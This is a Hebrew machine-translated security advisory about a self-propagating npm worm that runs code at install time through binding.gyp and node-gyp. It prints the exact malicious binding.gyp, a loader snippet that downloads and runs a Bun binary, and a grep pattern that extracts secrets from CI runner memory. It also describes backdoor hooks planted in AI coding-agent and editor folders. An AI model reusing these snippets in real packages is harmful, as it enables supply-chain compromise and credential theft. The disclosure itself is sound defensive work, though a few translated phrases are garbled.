פרצת שרשרת אספקה ב-Node-gyp: תולעת npm המתפשטת באמצעות binding.gyp
אמ;לק
תולעת npm חדשה מנצלת את binding.gyp כדי להפעיל node-gyp במהלך ההתקנה, ובכך מאפשרת לחבילות זדוניות להריץ קוד ללא שימוש בסקריפטים מחזור חיים. התולעת גונבת פרטי התחברות, משיגה עמידות ב-GitHub ומתפשטת באופן עצמאי בין מפתחים. זהו וקטור תקיפה מתוחכם לשרשרת האספקה.
סיכום בעברית: מערכת VibeSec · מדיניות המקורות
נוסף ל-VibeSec:
כותרת מקורית: Node-gyp Supply Chain Compromise: A Self-Propagating npm Worm That Hides in binding.gyp

התוכן המלא בעברית
תרגום אוטומטי מהמקור; מונחים טכניים נשארו באנגלית. לנוסח המחייב — הכתבה המקורית.
התקפת שרשרת אספקה מתפשטת באופן פעיל דרך הרישום של npm על ידי שימוש לרעה בקובץ שרוב כלי האבטחה לעולם אינם בודקים: binding.gyp. במקום להסתמך על סקריפטים של מחזור החיים preinstall או postinstall המנוטרים היטב, התוכנה הזדונית מפיצה קובץ binding.gyp זדוני שמפעיל את node-gyp כדי להריץ קוד בשליטת התוקף באופן אוטומטי במהלך ה-npm install. Snyk עוקבת אחר התקרית תחת השם Node-gyp Supply Chain Compromise - יוני 2026, המכסה 57 חבילות מושפעות ומאות גרסאות זדוניות, כולן מסווגות כ-Embedded Malicious Code בדרגת חומרה Critical.
המטען אוסף אישורים של מפתחים וסביבות CI/CD עבור npm, GitHub, AWS, GCP, Azure, HashiCorp Vault ו-Kubernetes, מסנן אותם דרך מאגרי GitHub שבשליטת התוקפים, מזריק זרימות עבודה (workflows) של GitHub Actions כדי להבטיח התמדה, ומפיץ את עצמו על ידי פרסום מחדש של חבילות מכל חשבון מתחזק שאליו הוא מצליח להגיע. StepSecurity, שדיווחה לראשונה על הקמפיין, כינתה את טכניקת זמן ההתקנה בשם "Phantom Gyp" ועוקבת אחר הקמפיין הרחב יותר בשם "Miasma", נצר למשפחת התולעים Shai-Hulud.
TL;DR
תולעת שרשרת אספקה באמצעות חשבונות מתחזק שנפגעו
ביצוע קוד בזמן ההתקנה דרך binding.gyp / node-gyp , לא preinstall / postinstall
Node-gyp Supply Chain Compromise - יוני 2026
3 ביוני 2026 (גל ראשוני); גרסה קודמת Miasma 1 ביוני 2026
57 חבילות, מאות גרסאות זדוניות
גניבת אישורים, הזרקת GitHub Actions, התמדה, התפשטות תולעת בין npm ל-RubyGems
הצמדה לגרסאות תקינות מוכרות, הרצת npm install --ignore-scripts, ורענון (rotation) של כל האישורים הנגישים
חבילות מושפעות
Snyk מונה 57 חבילות מושפעות. אישרנו שהגרסאות הזדוניות המפורטות עדיין ניתנות להורדה מהרישום הציבורי (לדוגמה, כל ארבע גרסאות ה-@vapi-ai/server-sdk מחזירות קבצי tarball פעילים מ-registry.npmjs.org), עם חותמות זמן פרסום של ה-3 וה-4 ביוני 2026. החבילות עם היקף התעבורה הגבוה ביותר, על פי נתוני ההורדות השבועיים מ-API הרישום של npm, הן:
רוב 57 החבילות מתקבצות סביב חשבון npm יחיד. שאילתה ברישום מציגה שכל 25 החבילות autotel ו-autotel-* חולקות את המתחזק jagreehal, אותו חשבון שמפרסם את טווח ה-@jagreehal/* ואת awaitly. ריכוז כזה בחשבון יחיד הוא בדיוק מה שהייתם מצפים מתולעת שסורקת ומפרסמת מחדש כל דבר שחשבון שנפרץ יכול לגעת בו:
• משפחת autotel-* (24 חבילות, בתוספת autotel עצמה): כולל autotel-mcp (עם גרסאות הנעות בין 0.1.14 ל-29.0.1), autotel-subscribers, autotel-terminal, autotel-mongoose, autotel-eventcatalog, autotel-devtools, autotel-aws, autotel-cloudflare, autotel-hono, autotel-playwright, autotel-sentry ועוד
• משפחת eslint-plugin-executable-stories-* (Snyk סיקרה בעבר תוכנות זדוניות בשרשרת האספקה של ESLint-plugin ב-npm)
רבים ממספרי הגרסה המנופחים (למשל, autotel-mcp קופץ לטווח 29.x, או autotel שמקבל גם 2.26.4 וגם 3.4.3 שפורסמו באותה דקה ב-4 ביוני) הם עצמם תופעת לוואי של הפרסום האוטומטי של התולעת, ולא מהדורות לגיטימיות. הרשימה המלאה המתעדכנת ללא הרף של החבילות והגרסאות המושפעות נמצאת בדף האירוע Snyk.
פרט חשוב לתיקון: לפחות עבור חלק מהחבילות, ה-dist-tag האחרון הוחזר להצביע על גרסה נקייה (עבור autotel, ה-latest מצביע כעת על 3.4.2, שפורסמה לפני הגרסאות הזדוניות), אך הגרסאות הזדוניות לא הוסרו (unpublished). נכון לכתיבת שורות אלו, autotel@3.4.3 ו-autotel@2.26.4 עדיין מחזירים קבצי tarball פעילים. פקודת npm install autotel עשויה למשוך את הגרסה הנקייה, בעוד שכל קובץ נעילה (lockfile), הצמדת גרסה מדויקת (exact pin), או תלות עקיפה שמפנה לגרסה זדונית עדיין יורידו את התוכנה הזדונית. אל תתייחסו לתג latest נקי כראיה לכך שאתם מוגנים.
איך פועלת המתקפה
החלק החדש: ביצוע בזמן ההתקנה באמצעות binding.gyp
כאשר אתם מריצים npm install על חבילה המכילה קובץ binding.gyp ללא קובץ בינארי תואם שנבנה מראש, npm מעביר את החבילה ל-node-gyp ומריץ node-gyp rebuild כדי להדר את מה שהוא מניח שהוא תוסף C/C++ מקורי. זוהי התנהגות רגילה וצפויה עבור כל חבילה עם רכיבים מקוריים, והיא מתרחשת ללא צורך ב-preinstall או postinstall ב-package.json.
תחביר תצורת ה-build של GYP תומך בהרחבת פקודות. הטופס <!(...) מריץ פקודת מעטפת במהלך שלב התצורה ומחליף את הפלט שלו בהגדרת ה-build. החבילות שנפרצו מנצלות זאת ישירות. הנה 157-byte binding.gyp המדויק שנשלח ב-@vapi-ai/server-sdk@1.2.2 ו-autotel@3.4.3 (בייט-עבור-בייט זהה בכל החבילות שבדקנו):
1 { 2 "targets": [ 3 { 4 "target_name": "Setup", 5 "type": "none", 6 "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"] 7 } 8 ] 9 }
הביטוי <!(node index.js ...) מבצע את node index.js בזמן ש-node-gyp רק מגדיר את ה-build, הרבה לפני הפעלת מהדר כלשהו. המטרה "type": "none" אומרת ששום דבר לא באמת מקומפל, ולכן תופעת הלוואי של הרחבת הפקודה (הרצת index.js) היא כל העניין. הפלט מופנה ל-/dev/null כך שההתקנה נראית נקייה, ו-echo stub.c מחזיר שם קובץ מקור סביר כך ש-gyp ממשיך ללא שגיאה ברורה. התוצאה היא ביצוע קוד שרירותי במהלך התקנת npm שגרתית.
באופן קריטי, ה-package.json ב-tarballs אלה אינו מכיל סקריפטים של preinstall, postinstall, install או prepare. ערכי הסקריפטים היחידים הם משימות פיתוח רגילות (build, lint, test, format), והחבילה אפילו לא מצהירה "gypfile": true. אין שום דבר ב-package.json שכלים ממוקדי סקריפט יכולים לסמן; הנוכחות של קובץ binding.gyp מספיקה כדי ש-npm יפעיל את node-gyp בעצמו.
המטען: מעמיס רב שלבי Bun-based
הקובץ index.js ש-binding.gyp מפעיל הוא מטען (loader) מעורפל בגודל 4.5 MB. פענחנו את השכבות החיצוניות באופן סטטי מה-tarball שפורסם (ללא הרצה) ואישרנו את השרשרת הבאה:
• ROT-14 צופן קיסר. הקובץ כולו הוא eval יחיד מעל מערך קוד תווים של ~1.3 מיליון כניסות, ממופה למחרוזת ומסובב ב-14. המעטפת הנראית היא פשוטו כמשמעו eval(function(s,n){return s.replace(/[a-zA-Z]/g,...rotate...1)}(...)
• AES-128-GCM שכבה מפענחת עצמית. השלב המפוענח הוא אסינכרון IIFE שמייבא node:crypto ומגדיר מפענח aes-128-gcm (createDecipheriv עם תג אישור של 16 בתים), ואז מפענח שני קוביות מוצפן משובצות שמפתח ה-hex שלהם, IV, ותג ה-auth מקודדים בשורה.
• מטען זמן ריצה של Bun (בלוב של 907 בתים). הבלוב המפוענח הראשון מזהה את מערכת ההפעלה והארכיטקטורה, ואז מוריד בינארי עצמאי של Bun v1.3.13 מהגרסאות הרשמיות של oven-sh/bun ב-GitHub לתוך ספרייה זמנית ומריץ אותו:
1 const url = "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-" + os + "-" + a + ".zip" 2 execSync ( 'curl -sSL "' + url + '" -o "' + zip + '"' ,{ stdio: "pipe" }) 3 execSync ( 'unzip -j -o "' + zip + '" -d "' + dir + '"' ,{ stdio: "pipe" }) 4 chmodSync ( exe , "755" )
• מטען ראשי (בלוב של כ-649 KB). הבלוב המפוענח השני (664,535 בתים) הוא לוגיקת הגניבה עצמה, המבוצעת תחת הבינארי של Bun שהורד, ולא תחת תהליך ה-Node.js שהתחיל את ההתקנה.
הפעלת הלוגיקה המרכזית תחת בינארי של Bun שהורד, במקום תהליך ה-Node שהתחיל את ההתקנה, היא התחמקות מכוונת: ניטור תהליכי צאצא של Node.js במהלך npm install לא יראה את תהליך ה-Bun מבצע את העבודה האמיתית. זה גם מסביר מדוע סריקת מחרוזות בטקסט רגיל של index.js לא מעלה אישורים או אינדיקטורים ל-C2; התנהגות זו נמצאת בתוך הבלוב שמורץ על ידי Bun. לא ביצענו את שלב ה-Bun הסופי, לכן הקטלוג ההתנהגותי להלן משקף ניתוחים שדווחו בפומבי.
קצירת אישורים
לאחר ביצוע, המטען סוחף את המפתחים וסביבות CI/CD אחר סודות, ומכוון:
• AWS : aws_access_key_id / aws_secret_access_key ונקודת הקצה IMDSv2 של המטא נתונים ( 169.254.169.254 )
• GCP : GOOGLE_APPLICATION_CREDENTIALS ומפתחות חשבון שירות
• Azure : אסימוני זהות מנוהלים באמצעות IMDS
• GitHub Actions: הערך ACTIONS_ID_TOKEN_REQUEST_TOKEN בתוספת גניבה מזיכרון תהליך ה-runner
• HashiCorp Vault and Kubernetes : אסימוני חשבון שירות מנתיבים סטנדרטיים
• מנהלי סיסמאות: 1 חנויות סיסמאות, פסים ו-gopass
ב-GitHub Actions, המטען סורק את זיכרון התהליך של ה-runner כדי לשלוף סודות ממוסכים בצורה גלויה, תוך שימוש בדפוס כגון:
1 tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'
מנגנון מיסוך הסודות (secret masking) של GitHub Actions מסתיר סודות ביומנים; הוא אינו מגן עליהם מפני תהליך שיכול לקרוא את זיכרון ה-runner ישירות. יש להתייחס לכל סוד שה-runner יכול לראות כחשוף.
יציאה דרך מאגרים GitHub
במקום דומיין C2 קבוע, התוכנה הזדונית משתמשת ב-GitHub עצמו גם כמפגש וגם כנקודת יעד (dead drop). הפעילות נקשרה לחשבון ה-GitHub liuende501, אשר נכון לכתיבת שורות אלו מארח 321 מאגרים ציבוריים (api.github.com/users/liuende501), בהתאם לדפוס של התולעת ליצור מאגרים באופן אוטומטי כדי לקבל נתונים גנובים. הזרימה:
• גלה את המפגש על ידי חיפוש התחייבויות ציבוריות למילת מפתח מקודדת
• צור מאגר תוך כדי תנועה עם שם אקראי
• העלה נתונים שנאספו מוצפנים בתור results/results-{timestamp}.json
• שלח בקשות API עם סוכן משתמש python-requests/2.31.0
השימוש ב-GitHub לשם סינון נתונים ממזג את התעבורה עם פעילות מפתחים ו-CI רגילה, מכיוון שחיבורים יוצאים ל-github.com ו-api.github.com נחסמים לעיתים רחוקות בסביבות בנייה.
התפשטות תולעים על פני מערכות אקולוגיות
המטען מתפזר מעצמו, עם מנועים נפרדים לכל מערכת אקולוגית:
• npm worm : מונה חבילות של מתחזק באמצעות registry.npmjs.org/-/v1/search?text=maintainer:{username} , מוריד כל יעד, מזריק את ה-binding.gyp ו-index.js הזדוני ומפרסם מחדש. בהתאם לגלים מוקדמים יותר במשפחה זו (ראה הסיקור TanStack של Snyk , חבילת ה-npm הזדונית המתועדת הראשונה הנושאת מקור SLSA תקף), התולעת גם מזייפת Sigstore אישורי מוצא דרך Fulcio and Rekor כך שחבילות שנדבקו מחדש יכולות להופיע חתומות באופן לגיטימי.
• תולעת RubyGems: מזריקה לוגיקה מקבילה ל-extconf.rb, ה-hook של RubyGems לבניית הרחבות מקוריות, תוך שימוש חוזר באותו מוריד (downloader) של Bun. ה-extconf.rb הוא עבור RubyGems מה ש-binding.gyp הוא עבור npm: קובץ זמן בנייה שרץ אוטומטית ואינו "סקריפט" במובן של מחזור החיים.
• הרעלת מאגרי GitHub: מבצעת commit של קבצי דלת אחורית למאגרים שאליהם האסימונים הגנובים יכולים לכתוב, כולל hooks עבור סוכני קידוד מבוססי AI ועורכי קוד (.claude/, .cursor/rules/, .vscode/tasks.json) שמריצים מחדש את המטען כאשר מפתח פותח את הפרויקט.
טווח הגעה בין מערכות אקולוגיות (npm ו-RubyGems) והשימוש החוזר בקבצי סיומת זמן בנייה בשניהם הם הקו האמצעי של מסע פרסום זה: מצא את הקובץ שפועל באופן אוטומטי בזמן ההתקנה או הבנייה, אך אף אחד לא מסווג אותו כ"סקריפט".
ניתוח השפעה
רדיוס הפגיעה הישיר הוא כל מחשב מפתח או CI runner שהריץ npm install ופתר אחת מגרסאות החבילה המושפעות. סביבות CI/CD טומנות בחובן את הסיכון הגבוה ביותר, מכיוון שגניבת מידע מזיכרון ה-runner אומרת שכל סוד שה-runner יכול לגשת אליו, ולא רק אלה שהועברו כמשתני סביבה מפורשים, צריך להיחשב כפגוע.
מכונות מפתחים נושאות סיכון משני וארוך טווח דרך ה-hooks של עורכי הקוד וסוכני ה-AI, ששורדים הסרה רגילה של npm ומריצים מחדש את המטען בהפעלה הבאה.
הסבירות להתפשטות נוספת נראית נמוכה יותר מאשר בשיא הקמפיין: החבילות המושפעות מתארכות למספר קטן של חשבונות מתחזק (אישרנו שכל 25 חבילות autotel ו-autotel-* חולקות את החשבון הבודד jagreehal), ולא נצפו מהדורות חדשות שנפרצו לאחרונה. עם זאת, הגרסאות הזדוניות נותרות ניתנות להתקנה מ-npm, כך שסיכון החשיפה נמשך עבור כל מי שמושך אותן, ישירות או טרנזיטיביות, לפני שהן מוסרות במלואן.
איתור
קריאה וכלים קשורים
אבטחת Node.js / JS / TS- Bearer — SAST עם התמקדות בפרטיות ו-PII
- CodeQL — מנוע ניתוח סטטי של GitHub
- Dependabot — עדכונים אוטומטיים לתלויות פגיעות
- מתקפת React2STEAL: כך גונבים מפתחות גישה משרתי Next.js
- בניית אפליקציית מורה לנגינה בהרמוניקה בעזרת Claude
- פרצת אבטחה ב-Telegram Android